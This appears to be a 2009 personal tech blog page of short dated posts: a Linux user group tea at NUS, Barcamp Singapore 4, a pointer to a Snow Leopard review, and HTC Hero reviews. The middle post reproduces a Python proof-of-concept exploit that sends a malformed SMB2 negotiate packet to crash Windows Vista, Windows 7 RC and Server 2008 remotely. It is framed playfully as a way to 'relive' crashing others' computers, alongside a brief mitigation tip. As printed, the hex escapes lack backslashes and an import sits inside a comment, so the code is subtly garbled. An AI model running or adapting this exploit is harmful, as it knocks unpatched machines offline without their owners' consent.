Sep 092009
 

This might be a little late, but for those who are in NUS and are Linux or Opensource enthusiasts, come join us, LinuxNUS, for our first Welcome Tea of the semester. This year, our main focus is to drive the awareness of the existence of LinuxNUS and increase the number of members in the group. Just come and enjoy the company of the guys there! Also, do chat up with us on our irc channel at freenode.

Location: COM 1/SR10 @ NUS
Date: 09/09/09 (Wed) at 7pm
Register: HERE!

Original Post: Welcome Tea Sep 2009

Sep 092009
 

So we’ve started our march towards Barcamp Singapore 4. Preetam Rai has done a great job securing an awesome place at the IDA office in Suntec Tower 3, 14th floor. There’s probably going to be 3 training rooms for barcamp sessions, 4 meeting rooms for brainstorming and discussions,  and 1 lobby for food and networking. This is by far the most awesome Barcamp location, and it will be the most awesome Barcamp ever held in Singapore.

When: 21st November 2009
Where: IDA office at Suntec Tower 3, 14th floor.

So to all geeks, designers, social media, startups, and just anyone, go add your name as a participant to the wiki now, or even suggest a topic, at Barcamp Singapore 4 and join us in the spirit of sharing, brainstorming, discussing, and just plain old fun.

Sep 092009
 

Remember the good old days when you’re able to teardrop someone who was on Windows 3.1, Windows 95 or Windows NT and send a BSOD to their computer? Well, I do. Now, for the limited time offer only, we are able to relive this experience once again until Microsoft releases a security patch. This affects all Windows Vista, Windows 7, and possibly Windows Server 2008 and Windows Server 2008 R2. Let’s hope they do release a security patch before Windows 7 officially launches.

Here’s the proof of concept. I’m going to keep a copy here just in case.

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"

)
s = socket()

s.connect(host)
s.send(buff)
s.close()

To stop your computer from BSOD for now, try disabling SMB 2.0. We might even see some script kiddie come up with a simple teardrop application to BSOD your computer.

Ah! The good old days again.

== Update ==

Windows 7 RTM and Windows Server 2008 R2 are already patched and fixed. This exploit only works on Windows Vista and Windows Server 2008, and Windows 7 RC.

Original Post: Microsoft Security Advisory 975497 Released

== End Update ==

Original Post: Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

Sep 062009
 

Let’s just say this is the mother of all reviews. Counting at 23 pages, it gives an indepth review from the beginnings of time, through the entire installation process, to everything possible you can think of. It is an extremely good read if you want to know everything about Snow Leopard.

Original Article: Mac OS X 10.6 Snow Leopard: the Ars Technica review

Sep 042009
 

It’s been some time since I’ve last blogged, and I’ve been really busy writing reviews for CodeAndroid. Here’s my latest article for them reviewing the HTC Hero. This will be a 3 part series, where the first part will be  about the hardware, and two parts will be about the software. So look out for the articles which will be out over the next few days.

HTC Hero Review Part 1: The hardware
HTC Hero Review Part 2: The Sense

We @ tech65.org also did a quick video overview about the hardware and we will do an in-depth review once Tech65 gets its hands on a review unit.

Original Video Post: HTC Hero First Look (HD Video)

Link: Official Homepage